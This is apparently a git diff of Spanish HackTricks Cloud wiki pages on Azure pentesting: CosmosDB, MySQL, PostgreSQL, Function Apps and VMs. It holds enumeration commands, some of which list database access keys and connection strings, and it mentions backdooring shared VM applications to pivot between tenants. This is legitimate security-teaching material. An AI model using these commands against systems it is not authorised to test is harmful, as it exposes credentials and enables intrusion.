+container.create_item(item) +print("Document inserted.") +``` +{% endcode %} + +### MongoDB +La API NoSQL de MongoDB es una API basada en documentos que utiliza BSON (Binary JSON) similar a JSON como su formato de datos. Proporciona un lenguaje de consulta con capacidades de agregación, lo que la hace adecuada para trabajar con datos estructurados, semi-estructurados y no estructurados. El endpoint del servicio generalmente sigue este formato: + +{% code overflow="wrap" %} +```bash +mongodb://:/ +``` +{% endcode %} + +#### Bases de datos +En MongoDB, puedes crear una o más bases de datos dentro de una instancia. Cada base de datos sirve como un agrupamiento lógico de colecciones y proporciona un límite para la organización y gestión de recursos. Las bases de datos ayudan a separar y gestionar datos lógicamente, como para diferentes aplicaciones o proyectos. + +#### Colecciones +La unidad central de almacenamiento de datos en MongoDB es la colección, que contiene documentos y está diseñada para consultas eficientes y un diseño de esquema flexible. Las colecciones son escalables de manera elástica y pueden soportar operaciones de alto rendimiento a través de múltiples nodos en una configuración distribuida. + +#### Enumeración + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} +```bash +# CosmoDB Account +## List Azure Cosmos DB database accounts. +az cosmosdb list --resource-group +az cosmosdb show --resource-group --name + +## Lists the virtual network accounts associated with a Cosmos DB account +az cosmosdb network-rule list --resource-group --name +## List the access keys or connection strings for a Azure Cosmos DB +az cosmosdb keys list --name --resource-group +## List all the database accounts that can be restored. +az cosmosdb restorable-database-account list --account-name +## Show the identities for a Azure Cosmos DB database account. +az cosmosdb identity show --resource-group --name + +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.CosmosDB + +# List all Cosmos DB accounts in a specified resource group. +Get-AzCosmosDBAccount -ResourceGroupName "" + +# Get the access keys for a specific Cosmos DB account. +Get-AzCosmosDBAccountKey -ResourceGroupName "" -Name "" + +# Retrieve the client encryption keys for a specific Cosmos DB account. +Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "" -AccountName "" -DatabaseName "" + +# List all MongoDB collections in a specific database. +Get-AzCosmosDBMongoDBCollection -AccountName -ResourceGroupName -DatabaseName + +# Retrieve backup information for a specific MongoDB collection in a database. +Get-AzCosmosDBMongoDBCollectionBackupInformation -AccountName -ResourceGroupName -DatabaseName -Name -Location + +# Get the throughput (RU/s) of a specific MongoDB collection in a database. +Get-AzCosmosDBMongoDBCollectionThroughput -AccountName -ResourceGroupName -DatabaseName -Name + +# List all MongoDB databases in a specified Cosmos DB account. +Get-AzCosmosDBMongoDBDatabase -AccountName -ResourceGroupName + +# Get the throughput (RU/s) of a specific MongoDB database. +Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName -ResourceGroupName -DatabaseName + +# Retrieve the role definitions for MongoDB users in a specified Cosmos DB account. +Get-AzCosmosDBMongoDBRoleDefinition -AccountName -ResourceGroupName + +``` +{% endcode %} +{% endtab %} +{% endtabs %} + +#### Conexión + +Aquí la contraseña que puedes encontrar con las claves o con el método descrito en la sección de privesc. +{% code overflow="wrap" %} +```python +from pymongo import MongoClient + +# Updated connection string with retryWrites=false +connection_string = "mongodb://.mongo.cosmos.azure.com:10255/?ssl=true&replicaSet=globaldb&retryWrites=false" + +# Create the client +client = MongoClient(connection_string, username="", password="") + +# Access the database +db = client[''] + +# Access a collection +collection = db[''] + +# Insert a single document +document = { +"name": "John Doe", +"email": "johndoe@example.com", +"age": 30, +"address": { +"street": "123 Main St", +"city": "Somewhere", +"state": "CA", +"zip": "90210" +} +} + +# Insert document +result = collection.insert_one(document) +print(f"Inserted document with ID: {result.inserted_id}") +``` +{% endcode %} + +## Referencias + +* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api) +* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/) +* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction) +* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli) + +## Escalación de Privilegios + +{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %} +[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md) +{% endcontent-ref %} + +## Post Explotación + +{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %} +[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md) +{% endcontent-ref %} + +## ToDo + +* El resto de la DB aquí, tablas, cassandra, gremlin... +* Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios +* Echar un vistazo a las restauraciones + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index a03c98c89..832e6c77b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -56,9 +56,9 @@ En una **función de Windows** usando NodeJS, el código se encontraba en **`C:\ ### **Identidades Gestionadas & Metadatos** -Al igual que [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario. +Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario. -La **asignada por el sistema** será una identidad gestionada que **solo la función** que la tiene asignada podrá usar, mientras que las identidades gestionadas **asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podrá usar**. +La **asignada por el sistema** será una identidad gestionada que **solo la función** que la tiene asignada podrá usar, mientras que las **identidades gestionadas asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podrá usar**. > [!NOTE] > Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **1 identidad gestionada asignada por el sistema** y **varias asignadas por el usuario**, por lo que siempre es importante intentar encontrar todas ellas si comprometes la función porque podrías ser capaz de escalar privilegios a varias identidades gestionadas desde solo una Function. @@ -67,19 +67,19 @@ La **asignada por el sistema** será una identidad gestionada que **solo la func Es posible usar los [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) para obtener tokens de la identidad gestionada predeterminada desde el punto de metadatos. O podrías obtenerlos **manualmente** como se explica en: -{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %} +{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %} -Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que tiene adjunta una función**, ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información). +Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que una función tiene adjuntas**, ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información). ## Claves de Acceso > [!NOTE] -> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de funciones depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**. +> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de la función depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**. Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, es posible indicar el **nivel de autorización de clave de acceso** necesario para activar la función. Hay tres opciones disponibles: - **ANONYMOUS**: **Todos** pueden acceder a la función a través de la URL. -- **FUNCTION**: El endpoint solo es accesible para usuarios que usan una **clave de función, host o maestra**. +- **FUNCTION**: El endpoint solo es accesible para usuarios que utilizan una **clave de función, host o maestra**. - **ADMIN**: El endpoint solo es accesible para usuarios con una **clave maestra**. **Tipo de claves:** @@ -96,7 +96,7 @@ Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, e ### Autenticación Básica -Al igual que en los App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información sobre esto en: +Al igual que en App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información al respecto en: {{#ref}} az-app-services.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md new file mode 100644 index 000000000..db740b236 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -0,0 +1,192 @@ +# Az - Bases de datos MySQL + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## Azure MySQL +Azure Database for MySQL es un servicio de base de datos relacional completamente administrado basado en la Edición Comunitaria de MySQL, diseñado para proporcionar escalabilidad, seguridad y flexibilidad para diversas necesidades de aplicaciones. Tiene dos modelos de implementación diferentes: + +* **Servidor Único** (está en camino a la jubilación): +- Optimizado para implementaciones de MySQL rentables y fáciles de administrar. +- Las características incluyen copias de seguridad automatizadas, alta disponibilidad y monitoreo básico. +- Ideal para aplicaciones con cargas de trabajo predecibles. +* **Servidor Flexible**: +- Proporciona más control sobre la gestión y configuración de la base de datos. +- Soporta alta disponibilidad (en la misma zona y redundante entre zonas). +- Las características incluyen escalado elástico, gestión de parches y optimización de cargas de trabajo. +- Ofrece funcionalidad de detener/iniciar para ahorrar costos. + +### Características Clave +* **Gestión del Servidor**: La función **ad-admin** permite gestionar administradores de Azure Active Directory (AAD) para servidores MySQL, proporcionando control sobre el acceso administrativo a través de credenciales de AAD, mientras que la función **identity** permite la asignación y gestión de Identidades Administradas de Azure, ofreciendo autenticación segura y sin credenciales para acceder a recursos de Azure. +* **Gestión del Ciclo de Vida**: opciones para iniciar o detener un servidor, eliminar una instancia de servidor flexible, reiniciar un servidor para aplicar rápidamente cambios de configuración y esperar para asegurar que un servidor cumpla con condiciones específicas antes de proceder con scripts de automatización. +* **Seguridad y Redes**: puede gestionar reglas de firewall del servidor para un acceso seguro a la base de datos y desacoplar configuraciones de red virtual según sea necesario. +* **Protección de Datos y Copia de Seguridad**: incluye opciones para gestionar copias de seguridad de servidores flexibles para recuperación de datos, realizar restauraciones geográficas para recuperar un servidor en una región diferente, exportar copias de seguridad de servidores para uso externo (en Vista Previa) y restaurar un servidor desde una copia de seguridad a un punto específico en el tiempo. + +### Enumeración + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} +```bash +# List all flexible-servers +az mysql flexible-server db list --resource-group +# List databases in a flexible-server +az mysql flexible-server db list --resource-group --server-name +# Show specific details of a MySQL database +az mysql flexible-server db show --resource-group --server-name --database-name + +# List firewall rules of the a server +az mysql flexible-server firewall-rule list --resource-group --name + +# List all ad-admin in a server +az mysql flexible-server ad-admin list --resource-group --server-name +# List all user assigned managed identities from the server +az mysql flexible-server identity list --resource-group --server-name + +# List the server backups +az mysql flexible-server backup list --resource-group --name +# List all read replicas for a given server +az mysql flexible-server replica list --resource-group --name + +# Get the server's advanced threat protection setting +az mysql flexible-server advanced-threat-protection-setting show --resource-group --name +# List all of the maintenances of a flexible server +az mysql flexible-server maintenance list --resource-group --server-name +# List log files for a server. +az mysql flexible-server server-logs list --resource-group --server-name + +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.MySql + +# Get all flexible servers in a resource group +Get-AzMySqlFlexibleServer -ResourceGroupName + +# List databases in a specific flexible server +Get-AzMySqlFlexibleServerDatabase -ResourceGroupName -ServerName + +# Get details of a specific database in a flexible server +Get-AzMySqlFlexibleServerDatabase -ResourceGroupName -ServerName -DatabaseName + +# List all firewall rules for a flexible server +Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName -ServerName + +# Get the identity information of a flexible server +Get-AzMySqlFlexibleServerIdentity -ResourceGroupName -ServerName + +# Get the server's advanced threat protection setting +Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName -ServerName + +# List configuration settings of a flexible server +Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName -ServerName +# Get the connection string for a flexible server +Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName -ServerName -Client + +# List all read replicas for a given server +Get-AzMySqlFlexibleServerReplica -ResourceGroupName -ServerName + +# Get the maintenance window details for a flexible server +Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName -ServerName + +# List log files for a server +Get-AzMySqlFlexibleServerLog -ResourceGroupName -ServerName +``` +{% endcode %} +{% endtab %} +{% endtabs %} + +### Conexión + +Con la extensión rdbms-connect puedes acceder a la base de datos con: + +{% code overflow="wrap" %} +```bash +az mysql flexible-server connect -n -u -p --interactive + +#or execute commands +az mysql flexible-server execute \ +-n \ +-u \ +-p "" \ +-d \ +--querytext "SELECT * FROM ;" + +``` +{% endcode %} + +O con el plugin de extensión nativa de MySQL +{% code overflow="wrap" %} +```bash +mysql -h .mysql.database.azure.com -P 3306 -u -p +``` +{% endcode %} + +También puedes ejecutar consultas con github, pero también se necesitan la contraseña y el usuario. Necesitas configurar un archivo sql con la consulta a ejecutar y luego: +{% code overflow="wrap" %} +```bash +# Setup +az mysql flexible-server deploy setup \ +-s \ +-g \ +-u \ +-p "" \ +--sql-file \ +--repo \ +--branch \ +--action-name \ +--allow-push + +# Run it +az mysql flexible-server deploy run \ +--action-name \ +--branch +``` +{% endcode %} + +## Escalación de Privilegios + +{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %} +[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md) +{% endcontent-ref %} + +## Post Explotación + +{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %} +[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md) +{% endcontent-ref %} + +## ToDo + +* Buscar una forma de acceder con mysql flexible-server ad-admin para verificar si es un método de escalación de privilegios + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md new file mode 100644 index 000000000..bb863a253 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -0,0 +1,172 @@ +# Az - Bases de datos PostgreSQL + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} + +## Azure PostgreSQL +**Azure Database for PostgreSQL** es un servicio de **base de datos relacional completamente administrado basado en la edición comunitaria de PostgreSQL**. Está diseñado para proporcionar escalabilidad, seguridad y flexibilidad para diversas necesidades de aplicaciones. Similar a Azure MySQL, PostgreSQL ofrece dos modelos de implementación: + +* **Servidor Único** (en la ruta de retiro): +- Optimizado para implementaciones de PostgreSQL sencillas y rentables. +- Presenta copias de seguridad automatizadas, monitoreo básico y alta disponibilidad. +- Ideal para aplicaciones con cargas de trabajo predecibles. +* **Servidor Flexible**: +- Proporciona un mayor control sobre la gestión y configuración de la base de datos. +- Soporta alta disponibilidad, tanto en la misma zona como entre zonas. +- Presenta escalado elástico, mantenimiento automatizado y funcionalidad de ahorro de costos. +- Permite iniciar y detener el servidor para optimizar costos. + +### Características Clave + +* **Ventanas de Mantenimiento Personalizadas**: Programa actualizaciones para minimizar interrupciones. +* **Monitoreo Activo**: Accede a métricas y registros detallados para rastrear y mejorar el rendimiento de la base de datos. +* **Detener/Iniciar Servidor**: Los usuarios pueden detener e iniciar el servidor. +* **Copias de Seguridad Automáticas**: Copias de seguridad diarias integradas con períodos de retención configurables de hasta 35 días. +* **Acceso Basado en Roles**: Controla los permisos de usuario y el acceso administrativo a través de Azure Active Directory. +* **Seguridad y Redes**: puede gestionar reglas de firewall del servidor para un acceso seguro a la base de datos y desacoplar configuraciones de red virtual según sea necesario. + +### Enumeración + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} +```bash +# List servers in a resource group +az postgres flexible-server list --resource-group +# List databases in a flexible-server +az postgres flexible-server db list --resource-group --server-name +# Show specific details of a Postgre database +az postgres flexible-server db show --resource-group --server-name --database-name + +# List firewall rules of the a server +az postgres flexible-server firewall-rule list --resource-group --name +# List parameter values for a felxible server +az postgres flexible-server parameter list --resource-group --server-name +# List private link +az postgres flexible-server private-link-resource list --resource-group --server-name + +# List all ad-admin in a server +az postgres flexible-server ad-admin list --resource-group --server-name +# List all user assigned managed identities from the server +az postgres flexible-server identity list --resource-group --server-name + +# List the server backups +az postgres flexible-server backup list --resource-group --name +# List all read replicas for a given server +az postgres flexible-server replica list --resource-group --name +# List migrations +az postgres flexible-server migration list --resource-group --name + +# Get the server's advanced threat protection setting +az postgres flexible-server advanced-threat-protection-setting show --resource-group --name +# List all of the maintenances of a flexible server +az postgres flexible-server maintenance list --resource-group --server-name +# List log files for a server. +az postgres flexible-server server-logs list --resource-group --server-name + +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.PostgreSql + +# List flexible-servers in a resource group +Get-AzPostgreSqlFlexibleServer -ResourceGroupName +# List databases in a flexible-server +Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName -ServerName + +# List firewall rules of the a flexible-server +Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName -ServerName + +# List configuration settings of a flexible server +Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName -ServerName +# Get the connection string for a flexible server +Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName -ServerName -Client + +Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location + +# List servers in a resource group +Get-AzPostgreSqlServer -ResourceGroupName + +``` +{% endcode %} +{% endtab %} +{% endtabs %} + +### Conexión + +Con la extensión rdbms-connect puedes acceder a la base de datos con: + +{% code overflow="wrap" %} +```bash +az postgres flexible-server connect -n -u -p --interactive + +#or execute commands +az postgres flexible-server execute \ +-n \ +-u \ +-p "" \ +-d \ +--querytext "SELECT * FROM ;" + +``` +{% endcode %} + +O +{% code overflow="wrap" %} +```bash +psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser +``` +{% endcode %} + +## Referencias + +* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/) +* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview) +* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview) + +## Escalación de Privilegios + +{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %} +[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md) +{% endcontent-ref %} + +## Post Explotación + +{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %} +[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md) +{% endcontent-ref %} + +## ToDo + +* Buscar una forma de acceder con ad-admin para verificar que es un método de privesc + +{% hint style="success" %} +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Apoya a HackTricks + +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 3abf57bad..3ff00c0e4 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -76,7 +76,7 @@ Get-AzDisk -Name -ResourceGroupName ## Imágenes, Imágenes de Galería y Puntos de Restauración -Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como plantilla para crear nuevas VMs**.\ +Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como una plantilla para crear nuevas VMs**.\ Las imágenes se pueden gestionar en la **sección de Imágenes** de Azure o dentro de **galerías de computación de Azure**, lo que permite generar **versiones** y **compartir** la imagen entre inquilinos o incluso hacerla pública. Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de **todos los discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo. @@ -196,7 +196,7 @@ Además, para contactar el punto final de metadatos, la solicitud HTTP debe tene Verifique cómo enumerarlo en: {{#ref}} -https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} ## Enumeración de VM @@ -601,13 +601,13 @@ Set-AzVMDscExtension `
-Hybrid Runbook Worker +Trabajador de Runbook Híbrido -Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-automation-account/index.html). +Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-automation-account/index.html).
-### VM Applications +### Aplicaciones de VM Estos son paquetes con todos los **datos de la aplicación y scripts de instalación y desinstalación** que se pueden usar para agregar y eliminar fácilmente aplicaciones en VMs. ```bash @@ -617,7 +617,7 @@ az sig list --resource-group --output table # List all apps in a fallery az sig gallery-application list --gallery-name --resource-group --output table ``` -Estos son los caminos donde las aplicaciones se descargan dentro del sistema de archivos: +Estos son los caminos donde se descargan las aplicaciones dentro del sistema de archivos: - Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux//` - Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\\` @@ -625,7 +625,7 @@ Estos son los caminos donde las aplicaciones se descargan dentro del sistema de Consulta cómo instalar nuevas aplicaciones en [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli) > [!CAUTION] -> Es posible **compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos**. Lo cual es muy interesante porque podría permitir a un atacante insertar un backdoor en una aplicación y pivotar a otras suscripciones e inquilinos. +> Es posible **compartir aplicaciones individuales y galerías con otras suscripciones o inquilinos**. Lo cual es muy interesante porque podría permitir a un atacante crear una puerta trasera en una aplicación y pivotar a otras suscripciones e inquilinos. Pero **no hay un "mercado" para aplicaciones de vm** como lo hay para extensiones. @@ -721,7 +721,7 @@ az vm application set \ ### Datos del usuario -Estos son **datos persistentes** que se pueden recuperar del endpoint de metadatos en cualquier momento. Tenga en cuenta que en Azure los datos del usuario son diferentes de AWS y GCP porque **si coloca un script aquí, no se ejecuta por defecto**. +Estos son **datos persistentes** que se pueden recuperar del punto final de metadatos en cualquier momento. Tenga en cuenta que en Azure, los datos del usuario son diferentes de AWS y GCP porque **si coloca un script aquí, no se ejecuta por defecto**. ### Datos personalizados @@ -731,7 +731,7 @@ Es posible pasar algunos datos a la VM que se almacenarán en rutas esperadas: - En **Linux**, se almacenaba en `/var/lib/waagent/ovf-env.xml` y ahora se almacena en `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente de Linux**: No procesa datos personalizados por defecto, se necesita una imagen personalizada con los datos habilitados. - **cloud-init:** Por defecto, procesa datos personalizados y estos datos pueden estar en [**varios formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Podría ejecutar un script fácilmente enviando solo el script en los datos personalizados. -- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocó aquí. +- Intenté que tanto Ubuntu como Debian ejecutaran el script que colocas aquí. - También no es necesario habilitar los datos del usuario para que esto se ejecute. ```bash #!/bin/sh diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index f0211ff54..d7492ee5b 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -9,12 +9,12 @@ Hay algunas **APIs públicas de Azure** que solo con conocer el **dominio del inquilino** un atacante podría consultar para obtener más información sobre él.\ Puedes consultar directamente la API o usar la biblioteca de PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:** -| API | Información | Función de AADInternals | -| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | -| login.microsoftonline.com/\/.well-known/openid-configuration | **Información de inicio de sesión**, incluyendo el ID del inquilino | `Get-AADIntTenantID -Domain ` | -| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Todos los dominios** del inquilino | `Get-AADIntTenantDomains -Domain ` | -| login.microsoftonline.com/GetUserRealm.srf?login=\ |

Información de inicio de sesión del inquilino, incluyendo el nombre del inquilino y el tipo de autenticación del dominio.
Si NameSpaceType es Managed, significa que se utiliza AzureAD.

